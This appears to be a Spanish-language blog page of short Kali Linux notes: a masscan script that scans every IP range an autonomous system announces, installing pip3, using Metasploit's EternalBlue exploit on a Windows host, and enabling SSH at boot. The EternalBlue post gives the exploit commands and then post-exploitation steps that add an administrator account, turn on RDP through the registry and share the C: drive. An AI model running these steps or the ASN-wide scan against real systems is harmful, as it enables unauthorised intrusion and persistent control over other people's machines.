Entradas

Mostrando las entradas con la etiqueta Kali

Script para escaneo de todas las IPs de un Sistema autonomo

  Requiere los paquetes whois y masscan, así como permisos de root # Este script unicamente extrae todos los segmentos que publica un ASN # y escanea un puerto especifico # requiere los paquetes "whois" y "masscan" así como permisos de root echo "Sintaxis: " echo " scan.sh ASN Puerto" echo " " echo "Ejemplo: " echo " " echo " scan 7226 443" echo " el resultado se guarda en un TXT con el nombre del ASN" echo " " echo "Espere ..." Segmentos=$(whois -h whois.cymru.com "dump AS$1" | grep -Eo "([0-9]*\.){3}[0-9]*/[0-9]+" | sort -nu ) for i in $Segmentos; do masscan -p$2 $i | tee ASN$1_$2.txt ; done echo "Finalizado."   Para mas referencias y actualizaciones: https://github.com/3duardova/Scripts_Linux/blob/gh-pages/scan.sh

Instalar pip3 en Kali 20.04

Solo se agrega la repo: echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list apt update Y se instala como un paquete mas: apt install python3-pip 

Uso de Ethernal Blue

Desde Kali Primero actualizamos el Metaxploid msfupdate Ahora desde el CLI msfconsole use exploit/windows/smb/ms17_010_eternalblue set rhost 192.168.1.71 set rport 445 exploit Crear Usuario net user prueba 1234 /add net user prueba /del net localgroup administradores test /add habilitar RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f Deshabilitar RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f Recursos compartidos net share test=c:\ net share test /delete

Starting SSH on boot Kali 2.x

SSH won’t start at boot on Kali 2.0? Don’t worry, it’s because Kali 2.x is based on Debian 8, as opposed to Kali 1.x being based on Debian 7. Kali 1.x  uses  init/update-rc.d ; Kali 2.x  uses  systemd/systemctl For Kali 1.x, the command is #update-rc.d -f ssh defaults For Kali 2.x, the command is #systemctl enable ssh.service Copiado de: http://securityjedi.com/starting-ssh-on-boot-kali-2-x/